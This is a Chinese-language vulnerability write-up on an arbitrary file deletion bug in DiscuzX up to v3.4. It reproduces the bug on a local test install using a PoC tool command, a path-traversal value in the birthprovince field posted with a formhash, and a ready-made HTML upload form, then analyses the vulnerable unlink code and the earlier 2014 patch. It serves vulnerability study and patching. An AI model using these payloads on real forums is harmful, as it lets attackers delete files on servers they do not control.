漏洞影响
DiscuzX版本 ≤ v3.4
官方于9月29日修复该漏洞:
https://gitee.com/ComsenzDiscuz/DiscuzX/comm/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
Dz下载地址: https://gitee.com/ComsenzDiscuz/DiscuzX.git 选择一个时间线在9月29日前的进行git checkout即可。比如 git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be
。安装完成后,在当前目录下准备一个待删除的文件,比如theTestFile.txt
随便注册一个号,进入个人设置中心,即:
http://10.10.10.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profile&op=base |
---|
登陆后获取cookie后,命令行:
python cmspoc.py -u http://10.10.10.1:2500/DiscuzX/upload/home.php -t discuzx -s v34_delete_arbitrary_files |
---|
粘贴cookie,后输入需要删除的文件。
修改出生地址为要删除的文件地址,这里比如 ../../theTestFile.txt
可以用burp截包修改
也可以先查看源代码(ctrl+U)后找到formhash值,这里测试环境中为2c7400c6
然后直接进行POST:
http://127.0.0.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profilePOST:birthprovince=../../../theTestFile.txt&profilesubmit=1&formhash=2c7400c6
回到个人资料处,可以发现出生地已经改变。
接下去是进行正式的任意文件删除。可以自己构造一个表单,如下:
<form action="http://127.0.0.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data"><input type="file" name="birthprovince" value="../../../theTestFile.txt"/><input type="hidden" name="formhash" value="2c7400c6"/><input type="hidden" name="profilesubmit" value="1"/><input type="submit" value="Submit"/></from> |
---|
这里要注意两个点:
选择随便一张图片上传,点击submit,可以发现原本的theTestFile.txt已经被删除。
另一种删除方法,直接在个人资料页面修改html代码。比如修改真实姓名处
修改name,value,type分别为birthprovince,要删除的文件路径,file。
之后选择随便一张图片上传,点击下方的保存,同样theTestFile也被删除。
在source/include/spacecp/spacecp_profile.php中,第69行:
if(submitcheck('profilesubmit')) { |
---|
先对profilesubmit进行了一次检查。
之后第188行,有一段处理上传文件的代码:
if($_FILES) { $upload = new discuz_upload(); foreach($_FILES as $key => $file) |
---|
往下看,约莫第208行左右,有下述代码:
if(!$upload->error()) { $upload->save(); if(!$upload->get_image_info($attach['target'])) { @unlink($attach['target']); continue; } $setarr[$key] = ''; $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment'])); if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) { if(isset($verifyinfo['field'][$key])) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; } continue; } if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; continue; } @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); $setarr[$key] = $attach['attachment'];} |
---|
当文件上传成功,也就是!$upload->error()
,会执行到unlink语句:
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); |
---|
这里的$key
,在前面foreach($_FILES as $key => $file)
中定义。
而$space
,为用户个人资料,在source/include/spacecp/spacecp_profile.php的第23行左右:
$space = getuserbyuid($_G['uid']);space_merge($space, 'field_home');space_merge($space, 'profile'); |
---|
这些操作会将用户相关的信息通过数据库提取出来保存到变量$space中。你可以在上面三句代码后面加上一句var_dump($space);
,然后访问 http://127.0.0.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profile 。
即可看到一堆的变量,比如说birthprovince。
所以思考一下这个过程:
上面的这个思路,即对应着前面漏洞复现中的法一和法二。
乌云编号: wooyun-2014-065513
当时的漏洞代码出在source/include/spacecp/spacecp_profile.php中,第69行:
# 这是当时的漏洞代码if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key])) { echo (getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } }}
官方当时的补丁做法是:增加了一次判断
if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') { echo "0"; @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('settin g/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } }} |
---|
在删除之间多进行了一次验证:$_G['cache']['profilesetting'][$key]['formtype'] == 'file'
,也就是说,若要成功删除, 需要formtype为file类型。
这次的漏洞修复简单粗暴,将unlink语句直接删除。。